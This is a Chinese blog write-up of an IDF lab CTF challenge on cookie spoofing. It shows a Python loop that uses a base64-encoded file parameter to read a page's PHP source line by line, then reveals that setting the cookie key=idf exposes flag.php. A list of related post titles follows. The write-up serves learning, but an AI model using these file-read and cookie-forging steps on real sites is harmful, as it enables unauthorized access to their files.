idf cookie欺骗
来源:互联网 发布:网络推广类的书籍 编辑:程序博客网 时间:2024/05/29 10:28
http://ctf.idf.cn/game/web/40/index.php?line=&file=ZmxhZy50eHQ
打开后就一串长长的码 不知所云
注意到ZmxhZy50eHQ 估计是BASE64
查询 得到flag.txt
放进去啥都没(无言以对)
大牛说是文件包含漏洞(什么是文件包含漏洞?去百度百度)
把file=aW5kZXgucGhw(index.php的base64)line=1发现有代码
测试line发现有个18行
写一个python弄出全部代码(py3)
import urllib.requesti=0while(i<20): file = urllib.request.urlopen("http://ctf.idf.cn/game/web/40/index.php?line=%d&file=aW5kZXgucGhw"% i).read() print(file.decode('utf-8')) i=i+1
得到
<?php error_reporting(0); $file=base64_decode(isset($_GET['file'])?$_GET['file']:""); $line=isset($_GET['line'])?intval($_GET['line']):0; if($file=='') header("location:index.php?line=&file=ZmxhZy50eHQ"); $file_list = array( '0' =>'flag.txt', '1' =>'index.php', ); if(isset($_COOKIE['key']) && $_COOKIE['key']=='idf'){ $file_list[2]='flag.php'; } if(in_array($file, $file_list)){ $fa = file($file); echo $fa[$line]; }?>
也就是说设置cookie key=idf就行了
0 0
- idf cookie欺骗
- 【IDF】COOKIE欺骗
- IDF实验室:天罗地网--COOKIE欺骗
- IDF实验室-天罗地网-COOKIE欺骗-writeup
- cookie欺骗
- cookie 欺骗
- cookie欺骗
- COOKIE欺骗
- COOKIE欺骗
- COOKIE欺骗
- Cookie欺骗
- Cookie欺骗
- cookie 欺骗 与 cookie 注入
- 什么是cookie欺骗
- cookie欺骗教程
- Cookie欺骗原理
- COOKIE欺骗(上)
- COOKIE欺骗(下)
- 字符串和数组翻转
- RCNN学习笔记(9):OverFeat:Integrated Recognition, Localization and Detection using Convolutional Networks
- iOS一些疑惑点总结
- 知道这10个正则表达式,能让你少写1,000行代码
- 事件模拟场景:猫叫->老鼠逃跑 & 主人惊醒
- idf cookie欺骗
- Linux下用户组、文件权限详解
- Frequency-tuned salient Region Detection
- Tango学习笔记(1)
- Vim插件推荐
- 剑指offer:两个链表的第一个公共结点
- Mysql中文乱码问题完美解决方案
- Linux hostname主机名配置文件/etc/hosts详解
- 删除弹出确认框,成功后有提示